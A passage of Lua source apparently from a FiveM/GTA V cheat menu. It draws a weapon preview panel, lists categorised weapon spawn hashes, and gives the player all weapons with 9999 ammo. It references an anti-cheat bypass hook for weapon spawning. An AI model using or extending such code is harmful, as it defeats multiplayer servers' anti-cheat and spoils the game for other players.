titleWidth = 0 end titleWidth = titleWidth * fontScale if not (availableWidth < titleWidth) then break end headerTitle = headerTitle.sub(headerTitle, 1, -2) end headerTitle = headerTitle .. "..." end image.headerKey = headerKey image.headerTitle = headerTitle end drawPreviewText(image.headerTitle, 8, 8, textColor) drawPreviewText( image.categoryLabel, (previewWidth - roundNearest(8 * scale) - image.categoryWidth) / scale, 8, primaryColor ) repeat if image.texture then local textureScale = math.min(136 * scale / image.width, 51 * scale / image.height) local width = image.width * textureScale local height = image.height * textureScale local textureX = previewX + (previewWidth - width) / 2 local textureY = previewY + roundNearest(40 * scale) + (68 * scale - height) / 2 local topLeft = {} topLeft[1] = textureX topLeft[2] = textureY local bottomRight = {} bottomRight[1] = textureX + width bottomRight[2] = textureY + height local color = {} color[1] = 255 color[2] = 255 color[3] = 255 color[4] = 255 local textureOptions = {} Ham.drawTexture(image.texture, topLeft, bottomRight, color, 0, textureOptions) break end local message repeat if image.request then message = "Loading preview..." if message then break end end message = "No image available" until true drawPreviewText(message, 28, 78, nameColor) until true repeat if not image.hash then image.hash = GetHashKey(weapon.hash) if option.name == "Melee" then if type(GetWeaponHudStats) == "function" then local hudBuffer = string.rep("\000", 40) local success, result = pcall(GetWeaponHudStats, image.hash, hudBuffer) if not success then break end if not result then break end image.damage = string.byte(hudBuffer, 1) image.damageIsHud = true break end end if type(GetWeaponDamage) == "function" then local success, damage = pcall(GetWeaponDamage, image.hash, 0) if success then if type(damage) == "number" then if 0 <= damage then image.damage = damage end end end end end until true drawRowIcon("\239\131\167", 130) local damageLabel repeat if image.damageIsHud then damageLabel = "HUD Dmg" if damageLabel then break end end damageLabel = "Damage" until true drawPreviewText(damageLabel, 32, 130, nameColor) local barX = previewX + roundNearest(90 * scale) local barY = previewY + roundNearest(135 * scale) local barWidth = roundNearest(76 * scale) local barRect = {} local barResults = table.pack(roundNearest(4 * scale)) rawset(barRect, 1, barX) rawset(barRect, 2, barY) rawset(barRect, 3, barWidth) for index = 1, barResults.n do rawset(barRect, 3 + index, barResults[index]) end local barBackground = {} barBackground[1] = 255 barBackground[2] = 255 barBackground[3] = 255 barBackground[4] = 25 Ham.drawRectFilled(barRect, barBackground, 0, 0) repeat if image.damage then if not (0 < image.damage) then break end barRect = {} local fillWidth = barWidth * math.min(1, image.damage / 100) barResults = table.pack(roundNearest(4 * scale)) rawset(barRect, 1, barX) rawset(barRect, 2, barY) rawset(barRect, 3, fillWidth) for index = 1, barResults.n do rawset(barRect, 3 + index, barResults[index]) end Ham.drawRectFilled(barRect, primaryColor, 0, 0) end until true local damageText repeat if image.damage then damageText = string.format("%.0f", image.damage) if damageText then break end end damageText = "-" until true drawPreviewText(damageText, 175, 130, textColor) if not image.properties then local damageTypes = {} damageTypes[1] = "None" damageTypes[2] = "Melee" damageTypes[3] = "Bullet" damageTypes[4] = "Impact" damageTypes[5] = "Explosive" damageTypes[6] = "Fire" damageTypes[8] = "Fall" damageTypes[10] = "Electric" damageTypes[11] = "Barbed Wire" damageTypes[12] = "Extinguisher" damageTypes[13] = "Gas" damageTypes[14] = "Water" local damageType = "-" repeat if type(GetWeaponDamageType) == "function" then local success, damageTypeId = pcall(GetWeaponDamageType, image.hash) if not success then break end local typeName = damageTypes[damageTypeId] if typeName then damageType = typeName break end damageType = "Unknown" end until true local clipSize = "-" if option.name ~= "Melee" then if type(GetWeaponClipSize) == "function" then local success, size = pcall(GetWeaponClipSize, image.hash) if success then if type(size) == "number" then if 0 < size then clipSize = tostring(size) end end end end end local properties = {} properties.damageType = damageType properties.clip = clipSize image.properties = properties end local currentTime = GetGameTimer() do local detailsCurrent = false repeat repeat if image.detailsAt then if currentTime >= image.detailsAt then break end if image.detailsFontSize == textSize then detailsCurrent = true break end end until true if detailsCurrent then break end local playerPed = PlayerPedId() local ammo repeat if option.name ~= "Melee" then ammo = tostring(GetAmmoInPedWeapon(playerPed, image.hash)) if ammo then break end end ammo = "-" until true local details = {} local ammoDetail = {} ammoDetail[1] = "Ammo" ammoDetail[2] = ammo local clipDetail = {} clipDetail[1] = "Clip" clipDetail[2] = image.properties.clip local damageTypeDetail = {} damageTypeDetail[1] = "Damage Type" damageTypeDetail[2] = image.properties.damageType details[1] = ammoDetail details[2] = clipDetail details[3] = damageTypeDetail image.details = details local fontScale = textSize / (optionFont.font_size or 15) for _, detail in ipairs(image.details) do local width = select(1, Ham.getTextWidth(detail[2])) if not width then width = 0 end detail[3] = width * fontScale end image.detailsAt = currentTime + 250 image.detailsFontSize = textSize until true end for index, detail in ipairs(image.details) do local offsetY = 130 + index * 21 local icon repeat if index == 1 then icon = "\239\129\155" if icon then break end end if index == 2 then icon = "\239\137\141" if icon then break end end icon = "\239\129\161" until true drawRowIcon(icon, offsetY) drawPreviewText(detail[1], 32, offsetY, nameColor) drawPreviewText(detail[2], (previewWidth - roundNearest(8 * scale) - detail[3]) / scale, offsetY, textColor) end Ham.resetFont() end function assembledMenuFunctions.isWeaponHashValid(weaponName) if type(weaponName) ~= "string" or weaponName == "" then return false end local weaponHash = GetHashKey(weaponName) if not weaponHash or weaponHash == 0 then return false end if type(IsWeaponValid) == "function" then return IsWeaponValid(weaponHash) end return true end function assembledMenuFunctions.getWeaponSpawnCategories() if menu.vars.weaponSpawnCategories then return menu.vars.weaponSpawnCategories end local categories = {} do local categoryEntries = {} local pistolWeapon = {} pistolWeapon.display = "Pistol" pistolWeapon.hash = "WEAPON_PISTOL" local combatpistolWeapon = {} combatpistolWeapon.display = "Combat Pistol" combatpistolWeapon.hash = "WEAPON_COMBATPISTOL" local pistol50Weapon = {} pistol50Weapon.display = "Pistol .50" pistol50Weapon.hash = "WEAPON_PISTOL50" local snspistolWeapon = {} snspistolWeapon.display = "SNS Pistol" snspistolWeapon.hash = "WEAPON_SNSPISTOL" local heavypistolWeapon = {} heavypistolWeapon.display = "Heavy Pistol" heavypistolWeapon.hash = "WEAPON_HEAVYPISTOL" local vintagepistolWeapon = {} vintagepistolWeapon.display = "Vintage Pistol" vintagepistolWeapon.hash = "WEAPON_VINTAGEPISTOL" local flaregunWeapon = {} flaregunWeapon.display = "Flare Gun" flaregunWeapon.hash = "WEAPON_FLAREGUN" local marksmanpistolWeapon = {} marksmanpistolWeapon.display = "Marksman Pistol" marksmanpistolWeapon.hash = "WEAPON_MARKSMANPISTOL" local appistolWeapon = {} appistolWeapon.display = "AP Pistol" appistolWeapon.hash = "WEAPON_APPISTOL" local stungunWeapon = {} stungunWeapon.display = "Stun Gun" stungunWeapon.hash = "WEAPON_STUNGUN" local revolverWeapon = {} revolverWeapon.display = "Revolver" revolverWeapon.hash = "WEAPON_REVOLVER" local doubleactionWeapon = {} doubleactionWeapon.display = "Double Action Revolver" doubleactionWeapon.hash = "WEAPON_DOUBLEACTION" local navyrevolverWeapon = {} navyrevolverWeapon.display = "Navy Revolver" navyrevolverWeapon.hash = "WEAPON_NAVYREVOLVER" local ceramicpistolWeapon = {} ceramicpistolWeapon.display = "Ceramic Pistol" ceramicpistolWeapon.hash = "WEAPON_CERAMICPISTOL" local gadgetpistolWeapon = {} gadgetpistolWeapon.display = "Perico Pistol" gadgetpistolWeapon.hash = "WEAPON_GADGETPISTOL" local raypistolWeapon = {} raypistolWeapon.display = "Up-n-Atomizer" raypistolWeapon.hash = "WEAPON_RAYPISTOL" local pistolMk2Weapon = {} pistolMk2Weapon.display = "Pistol Mk II" pistolMk2Weapon.hash = "WEAPON_PISTOL_MK2" local combatpistolMk2Weapon = {} combatpistolMk2Weapon.display = "Combat Pistol Mk II" combatpistolMk2Weapon.hash = "WEAPON_COMBATPISTOL_MK2" local snspistolMk2Weapon = {} snspistolMk2Weapon.display = "SNS Pistol Mk II" snspistolMk2Weapon.hash = "WEAPON_SNSPISTOL_MK2" local heavypistolMk2Weapon = {} heavypistolMk2Weapon.display = "Heavy Pistol Mk II" heavypistolMk2Weapon.hash = "WEAPON_HEAVYPISTOL_MK2" local revolverMk2Weapon = {} revolverMk2Weapon.display = "Revolver Mk II" revolverMk2Weapon.hash = "WEAPON_REVOLVER_MK2" categoryEntries[1] = pistolWeapon categoryEntries[2] = combatpistolWeapon categoryEntries[3] = pistol50Weapon categoryEntries[4] = snspistolWeapon categoryEntries[5] = heavypistolWeapon categoryEntries[6] = vintagepistolWeapon categoryEntries[7] = flaregunWeapon categoryEntries[8] = marksmanpistolWeapon categoryEntries[9] = appistolWeapon categoryEntries[10] = stungunWeapon categoryEntries[11] = revolverWeapon categoryEntries[12] = doubleactionWeapon categoryEntries[13] = navyrevolverWeapon categoryEntries[14] = ceramicpistolWeapon categoryEntries[15] = gadgetpistolWeapon categoryEntries[16] = raypistolWeapon categoryEntries[17] = pistolMk2Weapon categoryEntries[18] = combatpistolMk2Weapon categoryEntries[19] = snspistolMk2Weapon categoryEntries[20] = heavypistolMk2Weapon categoryEntries[21] = revolverMk2Weapon categories.Pistols = categoryEntries end do local categoryEntries = {} local microsmgWeapon = {} microsmgWeapon.display = "Micro SMG" microsmgWeapon.hash = "WEAPON_MICROSMG" local smgWeapon = {} smgWeapon.display = "SMG" smgWeapon.hash = "WEAPON_SMG" local assaultsmgWeapon = {} assaultsmgWeapon.display = "Assault SMG" assaultsmgWeapon.hash = "WEAPON_ASSAULTSMG" local combatpdwWeapon = {} combatpdwWeapon.display = "Combat PDW" combatpdwWeapon.hash = "WEAPON_COMBATPDW" local machinepistolWeapon = {} machinepistolWeapon.display = "Machine Pistol" machinepistolWeapon.hash = "WEAPON_MACHINEPISTOL" local minismgWeapon = {} minismgWeapon.display = "Mini SMG" minismgWeapon.hash = "WEAPON_MINISMG" local gusenbergWeapon = {} gusenbergWeapon.display = "Gusenberg Sweeper" gusenbergWeapon.hash = "WEAPON_GUSENBERG" local microsmgMk2Weapon = {} microsmgMk2Weapon.display = "Micro SMG Mk II" microsmgMk2Weapon.hash = "WEAPON_MICROSMG_MK2" local smgMk2Weapon = {} smgMk2Weapon.display = "SMG Mk II" smgMk2Weapon.hash = "WEAPON_SMG_MK2" categoryEntries[1] = microsmgWeapon categoryEntries[2] = smgWeapon categoryEntries[3] = assaultsmgWeapon categoryEntries[4] = combatpdwWeapon categoryEntries[5] = machinepistolWeapon categoryEntries[6] = minismgWeapon categoryEntries[7] = gusenbergWeapon categoryEntries[8] = microsmgMk2Weapon categoryEntries[9] = smgMk2Weapon categories.SMGs = categoryEntries end do local categoryEntries = {} local assaultrifleWeapon = {} assaultrifleWeapon.display = "Assault Rifle" assaultrifleWeapon.hash = "WEAPON_ASSAULTRIFLE" local carbinerifleWeapon = {} carbinerifleWeapon.display = "Carbine Rifle" carbinerifleWeapon.hash = "WEAPON_CARBINERIFLE" local advancedrifleWeapon = {} advancedrifleWeapon.display = "Advanced Rifle" advancedrifleWeapon.hash = "WEAPON_ADVANCEDRIFLE" local specialcarbineWeapon = {} specialcarbineWeapon.display = "Special Carbine" specialcarbineWeapon.hash = "WEAPON_SPECIALCARBINE" local bullpuprifleWeapon = {} bullpuprifleWeapon.display = "Bullpup Rifle" bullpuprifleWeapon.hash = "WEAPON_BULLPUPRIFLE" local compactrifleWeapon = {} compactrifleWeapon.display = "Compact Rifle" compactrifleWeapon.hash = "WEAPON_COMPACTRIFLE" local militaryrifleWeapon = {} militaryrifleWeapon.display = "Military Rifle" militaryrifleWeapon.hash = "WEAPON_MILITARYRIFLE" local heavyrifleWeapon = {} heavyrifleWeapon.display = "Heavy Rifle" heavyrifleWeapon.hash = "WEAPON_HEAVYRIFLE" local tacticalrifleWeapon = {} tacticalrifleWeapon.display = "Tactical Rifle" tacticalrifleWeapon.hash = "WEAPON_TACTICALRIFLE" local assaultrifleMk2Weapon = {} assaultrifleMk2Weapon.display = "Assault Rifle Mk II" assaultrifleMk2Weapon.hash = "WEAPON_ASSAULTRIFLE_MK2" local carbinerifleMk2Weapon = {} carbinerifleMk2Weapon.display = "Carbine Rifle Mk II" carbinerifleMk2Weapon.hash = "WEAPON_CARBINERIFLE_MK2" local advancedrifleMk2Weapon = {} advancedrifleMk2Weapon.display = "Advanced Rifle Mk II" advancedrifleMk2Weapon.hash = "WEAPON_ADVANCEDRIFLE_MK2" local specialcarbineMk2Weapon = {} specialcarbineMk2Weapon.display = "Special Carbine Mk II" specialcarbineMk2Weapon.hash = "WEAPON_SPECIALCARBINE_MK2" local bullpuprifleMk2Weapon = {} bullpuprifleMk2Weapon.display = "Bullpup Rifle Mk II" bullpuprifleMk2Weapon.hash = "WEAPON_BULLPUPRIFLE_MK2" categoryEntries[1] = assaultrifleWeapon categoryEntries[2] = carbinerifleWeapon categoryEntries[3] = advancedrifleWeapon categoryEntries[4] = specialcarbineWeapon categoryEntries[5] = bullpuprifleWeapon categoryEntries[6] = compactrifleWeapon categoryEntries[7] = militaryrifleWeapon categoryEntries[8] = heavyrifleWeapon categoryEntries[9] = tacticalrifleWeapon categoryEntries[10] = assaultrifleMk2Weapon categoryEntries[11] = carbinerifleMk2Weapon categoryEntries[12] = advancedrifleMk2Weapon categoryEntries[13] = specialcarbineMk2Weapon categoryEntries[14] = bullpuprifleMk2Weapon categories.Rifles = categoryEntries end do local categoryEntries = {} local pumpshotgunWeapon = {} pumpshotgunWeapon.display = "Pump Shotgun" pumpshotgunWeapon.hash = "WEAPON_PUMPSHOTGUN" local sawnoffshotgunWeapon = {} sawnoffshotgunWeapon.display = "Sawed-Off Shotgun" sawnoffshotgunWeapon.hash = "WEAPON_SAWNOFFSHOTGUN" local assaultshotgunWeapon = {} assaultshotgunWeapon.display = "Assault Shotgun" assaultshotgunWeapon.hash = "WEAPON_ASSAULTSHOTGUN" local bullpupshotgunWeapon = {} bullpupshotgunWeapon.display = "Bullpup Shotgun" bullpupshotgunWeapon.hash = "WEAPON_BULLPUPSHOTGUN" local musketWeapon = {} musketWeapon.display = "Musket" musketWeapon.hash = "WEAPON_MUSKET" local heavyshotgunWeapon = {} heavyshotgunWeapon.display = "Heavy Shotgun" heavyshotgunWeapon.hash = "WEAPON_HEAVYSHOTGUN" local dbshotgunWeapon = {} dbshotgunWeapon.display = "Double Barrel Shotgun" dbshotgunWeapon.hash = "WEAPON_DBSHOTGUN" local autoshotgunWeapon = {} autoshotgunWeapon.display = "Sweeper Shotgun" autoshotgunWeapon.hash = "WEAPON_AUTOSHOTGUN" local combatshotgunWeapon = {} combatshotgunWeapon.display = "Combat Shotgun" combatshotgunWeapon.hash = "WEAPON_COMBATSHOTGUN" local pumpshotgunMk2Weapon = {} pumpshotgunMk2Weapon.display = "Pump Shotgun Mk II" pumpshotgunMk2Weapon.hash = "WEAPON_PUMPSHOTGUN_MK2" local sawnoffshotgunMk2Weapon = {} sawnoffshotgunMk2Weapon.display = "Sawed-Off Shotgun Mk II" sawnoffshotgunMk2Weapon.hash = "WEAPON_SAWNOFFSHOTGUN_MK2" local assaultshotgunMk2Weapon = {} assaultshotgunMk2Weapon.display = "Assault Shotgun Mk II" assaultshotgunMk2Weapon.hash = "WEAPON_ASSAULTSHOTGUN_MK2" categoryEntries[1] = pumpshotgunWeapon categoryEntries[2] = sawnoffshotgunWeapon categoryEntries[3] = assaultshotgunWeapon categoryEntries[4] = bullpupshotgunWeapon categoryEntries[5] = musketWeapon categoryEntries[6] = heavyshotgunWeapon categoryEntries[7] = dbshotgunWeapon categoryEntries[8] = autoshotgunWeapon categoryEntries[9] = combatshotgunWeapon categoryEntries[10] = pumpshotgunMk2Weapon categoryEntries[11] = sawnoffshotgunMk2Weapon categoryEntries[12] = assaultshotgunMk2Weapon categories.Shotguns = categoryEntries end do local categoryEntries = {} local sniperrifleWeapon = {} sniperrifleWeapon.display = "Sniper Rifle" sniperrifleWeapon.hash = "WEAPON_SNIPERRIFLE" local heavysniperWeapon = {} heavysniperWeapon.display = "Heavy Sniper" heavysniperWeapon.hash = "WEAPON_HEAVYSNIPER" local marksmanrifleWeapon = {} marksmanrifleWeapon.display = "Marksman Rifle" marksmanrifleWeapon.hash = "WEAPON_MARKSMANRIFLE" local precisionrifleWeapon = {} precisionrifleWeapon.display = "Precision Rifle" precisionrifleWeapon.hash = "WEAPON_PRECISIONRIFLE" local heavysniperMk2Weapon = {} heavysniperMk2Weapon.display = "Heavy Sniper Mk II" heavysniperMk2Weapon.hash = "WEAPON_HEAVYSNIPER_MK2" local marksmanrifleMk2Weapon = {} marksmanrifleMk2Weapon.display = "Marksman Rifle Mk II" marksmanrifleMk2Weapon.hash = "WEAPON_MARKSMANRIFLE_MK2" categoryEntries[1] = sniperrifleWeapon categoryEntries[2] = heavysniperWeapon categoryEntries[3] = marksmanrifleWeapon categoryEntries[4] = precisionrifleWeapon categoryEntries[5] = heavysniperMk2Weapon categoryEntries[6] = marksmanrifleMk2Weapon categories["Sniper Rifles"] = categoryEntries end do local categoryEntries = {} local mgWeapon = {} mgWeapon.display = "MG" mgWeapon.hash = "WEAPON_MG" local combatmgWeapon = {} combatmgWeapon.display = "Combat MG" combatmgWeapon.hash = "WEAPON_COMBATMG" local combatmgMk2Weapon = {} combatmgMk2Weapon.display = "Combat MG Mk II" combatmgMk2Weapon.hash = "WEAPON_COMBATMG_MK2" local rpgWeapon = {} rpgWeapon.display = "RPG" rpgWeapon.hash = "WEAPON_RPG" local grenadelauncherWeapon = {} grenadelauncherWeapon.display = "Grenade Launcher" grenadelauncherWeapon.hash = "WEAPON_GRENADELAUNCHER" local minigunWeapon = {} minigunWeapon.display = "Minigun" minigunWeapon.hash = "WEAPON_MINIGUN" local rayminigunWeapon = {} rayminigunWeapon.display = "Widowmaker" rayminigunWeapon.hash = "WEAPON_RAYMINIGUN" local raycarbineWeapon = {} raycarbineWeapon.display = "Unholy Hellbringer" raycarbineWeapon.hash = "WEAPON_RAYCARBINE" local fireworkWeapon = {} fireworkWeapon.display = "Firework Launcher" fireworkWeapon.hash = "WEAPON_FIREWORK" local railgunWeapon = {} railgunWeapon.display = "Railgun" railgunWeapon.hash = "WEAPON_RAILGUN" local hominglauncherWeapon = {} hominglauncherWeapon.display = "Homing Launcher" hominglauncherWeapon.hash = "WEAPON_HOMINGLAUNCHER" local compactlauncherWeapon = {} compactlauncherWeapon.display = "Compact Launcher" compactlauncherWeapon.hash = "WEAPON_COMPACTLAUNCHER" local emplauncherWeapon = {} emplauncherWeapon.display = "EMP Launcher" emplauncherWeapon.hash = "WEAPON_EMPLAUNCHER" categoryEntries[1] = mgWeapon categoryEntries[2] = combatmgWeapon categoryEntries[3] = combatmgMk2Weapon categoryEntries[4] = rpgWeapon categoryEntries[5] = grenadelauncherWeapon categoryEntries[6] = minigunWeapon categoryEntries[7] = rayminigunWeapon categoryEntries[8] = raycarbineWeapon categoryEntries[9] = fireworkWeapon categoryEntries[10] = railgunWeapon categoryEntries[11] = hominglauncherWeapon categoryEntries[12] = compactlauncherWeapon categoryEntries[13] = emplauncherWeapon categories["Heavy Weapons"] = categoryEntries end do local categoryEntries = {} local grenadeWeapon = {} grenadeWeapon.display = "Grenade" grenadeWeapon.hash = "WEAPON_GRENADE" local bzgasWeapon = {} bzgasWeapon.display = "BZ Gas" bzgasWeapon.hash = "WEAPON_BZGAS" local molotovWeapon = {} molotovWeapon.display = "Molotov Cocktail" molotovWeapon.hash = "WEAPON_MOLOTOV" local stickybombWeapon = {} stickybombWeapon.display = "Sticky Bomb" stickybombWeapon.hash = "WEAPON_STICKYBOMB" local proxmineWeapon = {} proxmineWeapon.display = "Proximity Mines" proxmineWeapon.hash = "WEAPON_PROXMINE" local snowballWeapon = {} snowballWeapon.display = "Snowball" snowballWeapon.hash = "WEAPON_SNOWBALL" local pipebombWeapon = {} pipebombWeapon.display = "Pipe Bomb" pipebombWeapon.hash = "WEAPON_PIPEBOMB" local ballWeapon = {} ballWeapon.display = "Baseball" ballWeapon.hash = "WEAPON_BALL" local smokegrenadeWeapon = {} smokegrenadeWeapon.display = "Smoke Grenade" smokegrenadeWeapon.hash = "WEAPON_SMOKEGRENADE" local flareWeapon = {} flareWeapon.display = "Flare" flareWeapon.hash = "WEAPON_FLARE" categoryEntries[1] = grenadeWeapon categoryEntries[2] = bzgasWeapon categoryEntries[3] = molotovWeapon categoryEntries[4] = stickybombWeapon categoryEntries[5] = proxmineWeapon categoryEntries[6] = snowballWeapon categoryEntries[7] = pipebombWeapon categoryEntries[8] = ballWeapon categoryEntries[9] = smokegrenadeWeapon categoryEntries[10] = flareWeapon categories.Throwables = categoryEntries end do local categoryEntries = {} local knifeWeapon = {} knifeWeapon.display = "Knife" knifeWeapon.hash = "WEAPON_KNIFE" local nightstickWeapon = {} nightstickWeapon.display = "Nightstick" nightstickWeapon.hash = "WEAPON_NIGHTSTICK" local hammerWeapon = {} hammerWeapon.display = "Hammer" hammerWeapon.hash = "WEAPON_HAMMER" local batWeapon = {} batWeapon.display = "Bat" batWeapon.hash = "WEAPON_BAT" local golfclubWeapon = {} golfclubWeapon.display = "Golf Club" golfclubWeapon.hash = "WEAPON_GOLFCLUB" local crowbarWeapon = {} crowbarWeapon.display = "Crowbar" crowbarWeapon.hash = "WEAPON_CROWBAR" local bottleWeapon = {} bottleWeapon.display = "Bottle" bottleWeapon.hash = "WEAPON_BOTTLE" local daggerWeapon = {} daggerWeapon.display = "Dagger" daggerWeapon.hash = "WEAPON_DAGGER" local hatchetWeapon = {} hatchetWeapon.display = "Hatchet" hatchetWeapon.hash = "WEAPON_HATCHET" local stoneHatchetWeapon = {} stoneHatchetWeapon.display = "Stone Hatchet" stoneHatchetWeapon.hash = "WEAPON_STONE_HATCHET" local knuckleWeapon = {} knuckleWeapon.display = "Knuckle Duster" knuckleWeapon.hash = "WEAPON_KNUCKLE" local macheteWeapon = {} macheteWeapon.display = "Machete" macheteWeapon.hash = "WEAPON_MACHETE" local flashlightWeapon = {} flashlightWeapon.display = "Flashlight" flashlightWeapon.hash = "WEAPON_FLASHLIGHT" local switchbladeWeapon = {} switchbladeWeapon.display = "Switchblade" switchbladeWeapon.hash = "WEAPON_SWITCHBLADE" local battleaxeWeapon = {} battleaxeWeapon.display = "Battle Axe" battleaxeWeapon.hash = "WEAPON_BATTLEAXE" local poolcueWeapon = {} poolcueWeapon.display = "Pool Cue" poolcueWeapon.hash = "WEAPON_POOLCUE" local wrenchWeapon = {} wrenchWeapon.display = "Wrench" wrenchWeapon.hash = "WEAPON_WRENCH" local stunrodWeapon = {} stunrodWeapon.display = "Stun Rod" stunrodWeapon.hash = "WEAPON_STUNROD" local candycaneWeapon = {} candycaneWeapon.display = "Candy Cane" candycaneWeapon.hash = "WEAPON_CANDYCANE" categoryEntries[1] = knifeWeapon categoryEntries[2] = nightstickWeapon categoryEntries[3] = hammerWeapon categoryEntries[4] = batWeapon categoryEntries[5] = golfclubWeapon categoryEntries[6] = crowbarWeapon categoryEntries[7] = bottleWeapon categoryEntries[8] = daggerWeapon categoryEntries[9] = hatchetWeapon categoryEntries[10] = stoneHatchetWeapon categoryEntries[11] = knuckleWeapon categoryEntries[12] = macheteWeapon categoryEntries[13] = flashlightWeapon categoryEntries[14] = switchbladeWeapon categoryEntries[15] = battleaxeWeapon categoryEntries[16] = poolcueWeapon categoryEntries[17] = wrenchWeapon categoryEntries[18] = stunrodWeapon categoryEntries[19] = candycaneWeapon categories.Melee = categoryEntries end local filtered = {} local iterator, state, key = pairs(categories) for category, entries in iterator, state, key do filtered[category] = {} for index = 1, #entries, 1 do local entry = entries[index] if menu.functions.isWeaponHashValid(entry.hash) then local target = filtered[category] local targetIndex = #filtered[category] + 1 target[targetIndex] = entry end end end menu.vars.weaponSpawnCategories = filtered return filtered end function assembledMenuFunctions.getWeaponCategoryChoices(category) local menuVars = menu.vars local cachedChoices = menu.vars.weaponCategoryChoices or {} menuVars.weaponCategoryChoices = cachedChoices if menu.vars.weaponCategoryChoices[category] then return menu.vars.weaponCategoryChoices[category] end local categories = menu.functions.getWeaponSpawnCategories() local weapons = categories[category] or {} local choices = {} for index = 1, #weapons, 1 do local choiceIndex = #choices + 1 choices[choiceIndex] = weapons[index].display end menu.vars.weaponCategoryChoices[category] = choices return choices end function assembledMenuFunctions.hasWeaponCategoryChoices(category) local choices = menu.functions.getWeaponCategoryChoices(category) return choices and 0 < #choices end function assembledMenuFunctions.resolveWeaponSelection(value) if type(value) == "table" then value = value.selectedValue or value.value or value.name end local function normalize(text) if text == nil then return nil end text = tostring(text) text = text:gsub("^%s+", "") text = text:gsub("%s+$", "") text = text:gsub("^%-+%s*", "") text = text:gsub("%s*%-+$", "") return text end local categories = menu.functions.getWeaponSpawnCategories() local normalizedValue = normalize(value) local iterator, state, key = pairs(categories) for _, entries in iterator, state, key do for index = 1, #entries, 1 do local entry = entries[index] if entry.display == value or normalize(entry.display) == normalizedValue then return entry end end end local node = menu.vars if node then node = menu.vars.navigationStack if node then local stack = menu.vars.navigationStack node = stack[#menu.vars.navigationStack] end end local logic = menu.logic if node and logic and logic.getNodeOptions and logic.getVisibleOptions then local options = logic.getNodeOptions(node) local visibleOptions = logic.getVisibleOptions(options) local currentIndex = menu.vars.currentOption or 1 local scrollOffset = menu.vars.scrollOffset or 0 currentIndex = currentIndex + scrollOffset local selected = visibleOptions and visibleOptions[currentIndex] if selected and selected.type == "selector" and selected.var then local choices = categories[selected.name] local choiceIndex = menu.vars.selectors if choiceIndex then choiceIndex = menu.vars.selectors[selected.var] end if choices and choiceIndex and choices[choiceIndex] then return choices[choiceIndex] end end end return nil end function assembledMenuFunctions.spawnWeaponFromCategory(option) if menu.utils.isWeaponSpawnBlocked and menu.utils.isWeaponSpawnBlocked() then if menu.utils.notifyWeaponSpawnBlocked then menu.utils.notifyWeaponSpawnBlocked() end return end local selectedWeapon = menu.functions.resolveWeaponSelection(option) if selectedWeapon then local giveWeapon = menu.functions.giveWeapon local weapon = {} weapon.name = selectedWeapon.display weapon.weaponHash = selectedWeapon.hash giveWeapon(weapon) return end menu.utils.notify("Invalid weapon selection", "error", 2000) end function assembledMenuFunctions.spawnWeaponByNamePrompt(unusedOption) if menu.utils.isWeaponSpawnBlocked() then if menu.utils.notifyWeaponSpawnBlocked then menu.utils.notifyWeaponSpawnBlocked() end return end local prompt = menu.ui.promptText local promptOptions = {} promptOptions.title = "Spawn Weapon by Name" promptOptions.label = "Enter weapon name" promptOptions.placeholder = "e.g. pistol or WEAPON_PISTOL" promptOptions.default = "" promptOptions.maxLen = 64 local function handleWeaponName(value, cancelled) if cancelled then return end if not value or value == "" then menu.utils.notify("No weapon name entered", "error", 2000) return end local trimmed = string.gsub(tostring(value), "^%s*(.-)%s*$", "%1") if trimmed == "" then menu.utils.notify("No weapon name entered", "error", 2000) return end local weaponName = string.upper(trimmed) weaponName = weaponName:gsub("%s+", "_") if not weaponName:find("^WEAPON_") then weaponName = "WEAPON_" .. weaponName end if not menu.functions.isWeaponHashValid(weaponName) then menu.utils.notify("Invalid weapon name: " .. trimmed, "error", 2000) return end local displayName = trimmed:gsub("^WEAPON_", "") displayName = displayName:gsub("^weapon_", "") displayName = displayName:gsub("_", " ") displayName = displayName:gsub("%s+", " ") displayName = displayName:gsub("^%l", string.upper) local giveWeapon = menu.functions.giveWeapon local weapon = {} weapon.name = displayName weapon.weaponHash = weaponName giveWeapon(weapon) end prompt(promptOptions, handleWeaponName) end function assembledMenuFunctions.giveAllWeapons() if menu.utils.isWeaponSpawnBlocked() then if menu.utils.notifyWeaponSpawnBlocked then menu.utils.notifyWeaponSpawnBlocked() end return end local ped = PlayerPedId() local count = 0 local iterator, state, key = ipairs(menu.vars.weaponsList) for _, weaponName in iterator, state, key do local giveWeapon = GiveWeaponToPed local weaponHash = GetHashKey(weaponName) giveWeapon(ped, weaponHash, 9999, false, false) count = count + 1 end menu.utils.notify("All weapons given (" .. count .. ")", "success", 3000) if menu.functions.notifyActiveAcWeaponBypassOnSpawn then menu.functions.notifyActiveAcWeaponBypassOnSpawn() end end function assembledMenuFunctions.removeAllWeapons() local ped = PlayerPedId() local iterator, state, key = ipairs(menu.vars.weaponsList) for _, weaponName in iterator, state, key do if weaponName ~= "WEAPON_UNARMED" then RemoveWeaponFromPed(ped, GetHashKey(weaponName)) end end local notify = menu.utils.notify local details = {} details.title = "Weapons" details.subtitle = "All weapons removed" notify("All weapons removed", "success", 2500, nil, details) end function assembledMenuFunctions.formatWeaponComponentDisplayName(componentName) if type(componentName) ~= "string" or componentName == "" then return "Unknown Upgrade" end local clipType = componentName:match("_CLIP_(.+)$") if clipType then local clipNames = {} clipNames["01"] = "Extended Clip" clipNames["02"] = "Extended Clip" clipNames["03"] = "Drum Magazine" clipNames.TRACER = "Tracer Rounds" clipNames.INCENDIARY = "Incendiary Rounds" clipNames.HOLLOWPOINT = "Hollow Point Rounds" clipNames.FMJ = "Full Metal Jacket Rounds" clipNames.ARMORPIERCING = "Armor Piercing Rounds" clipNames.EXPLOSIVE = "Explosive Rounds" if clipNames[clipType] then return clipNames[clipType] end end if componentName:find("_SUPP") then return "Suppressor" end if componentName:find("_FLSH") then return "Flashlight" end if componentName:find("_AFGRIP") then return "Grip" end if componentName:find("_BARREL_02") then return "Heavy Barrel" end if componentName:find("_BARREL_01") then return "Default Barrel" end if componentName:find("_VARMOD_") then return "Luxury Finish" end if componentName:find("_CAMO") then return "Weapon Camo" end if componentName:find("_MUZZLE_") then return "Muzzle Brake" end if componentName:find("_COMP") then return "Compensator" end if componentName:find("_RAIL") then return "Mounted Scope" end if componentName:find("_SCOPE_THERMAL") then return "Thermal Scope" end if componentName:find("_SCOPE_NV") then return "Night Vision Scope" end if componentName:find("_SCOPE_MAX") then return "Advanced Scope" end if componentName:find("_SCOPE_LARGE") then return "Large Scope" end if componentName:find("_SCOPE_MEDIUM") then return "Medium Scope" end if componentName:find("_SCOPE_SMALL") then return "Small Scope" end if componentName:find("_SCOPE_MACRO") then return "Macro Scope" end if 